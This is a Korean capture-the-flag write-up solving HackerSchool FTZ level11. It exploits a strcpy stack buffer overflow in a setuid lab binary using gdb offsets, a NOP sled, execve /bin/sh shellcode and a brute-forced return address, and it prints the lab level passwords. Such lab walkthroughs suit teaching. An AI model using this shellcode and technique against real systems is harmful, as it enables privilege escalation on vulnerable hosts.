해커스쿨 FTZ [LEVEL11] 풀이
M4ndU
해커스쿨 FTZ [LEVEL11] 풀이입니다.
ID | level11
PW | what!@#$?
으로 로그인합니다.
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 힌트를 확인합시다.
login as: level11
level11@192.168.31.128's password:
[level11@ftz level11]$ ls -l
total 28
-rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme
-rw-r----- 1 root level11 168 Mar 8 2003 hint
drwxr-xr-x 2 root level11 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level11 4096 Jan 14 2009 tmp
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
이번에는 attackme라는 파일이 추가되었네요.
일단 hint를 확인해 봅시다.
attackme의 소스코드인 것 같습니다.
str의 크기는 256바이트인데 입력값의 크기를 제한하지 않네요.
이것을 보고 버퍼오버플로우 문제인 것을 알 수 있습니다.
그럼 이제 gdb를 통해 str과 RET의 거리를 알아봅시다.
[level11@ftz level11]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
*main+41 과 *main+48 부분을 보면 ebp-264부터 입력값을 받는 것을 알 수 있네요.
str에 256바이트가 할당되었으므로 8바이트가 dummy (쓰레기값)으로 존재하는 것을 알 수 있습니다.
현재 스택구조를 다음과 같이 나타낼 수 있습니다:
낮은 주소
str[256]
dummy[8]
SFP[4]
RET[4]
높은 주소
우리는 25바이트 쉘코드를 사용하겠습니다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
그리고 쉘코드 앞에 NOP을 의미하는 \x90으로 채우겠습니다.
268(str[256]+dummy[8]+SFP[4]) - 25(shellcode) = 243
"\x90"*243
이제 리턴주소를 구하기 위해 ebp-264의 주소를 알아보겠습니다.
ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53 에 break point를 걸고
(gdb) b *main+53
Breakpoint 1 at 0x80484a5
argv[1]의 값으로 위에서 만든 코드 + 리턴주소를 입력하겠습니다.
`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Couldn't get registers: Operation not permitted.
오류가 나네요...
파일을 tmp폴더로 복사해서 진행해야겠네요.
(gdb) q
The program is running. Exit anyway? (y or n) y
[1]+ Stopped gdb -q attackme
[level11@ftz level11]$ cp attackme tmp/
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ gdb -q attackme
(gdb) b *main+53
Breakpoint 1 at 0x80484a5
(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/tmp/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Breakpoint 1, 0x080484a5 in main ()
스택을 확인해 봅시다.
(gdb) x/100 $esp
0xbffff430: 0xbffff440 0xbffffb23 0xbffff460 0x00000001
0xbffff440: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff450: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff460: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff470: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff480: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff530: 0x31909090 0x2f6850c0 0x6868732f 0x6e69622f
0xbffff440 부터 시작이 되네요. 리턴 주소로 0xbffff440으로 잡고 tmp/attackme 를 실행해보겠습니다.
./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`
[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`
Segmentation fault
음.. 아무래도 노가다가 필요해 보이네요. 쉘이 뜰때까지 리턴주소를 바꿔주며 반복시도 해보겠습니다.
Segmentation fault
[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ exit
exit
0xbffffb40에서 성공했습니다!
이제 본래 문제 파일에서 시도하겠습니다.
[level11@ftz tmp]$ cd ..
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
가즈으으ㅡ으으으아ㅏ아아ㅏ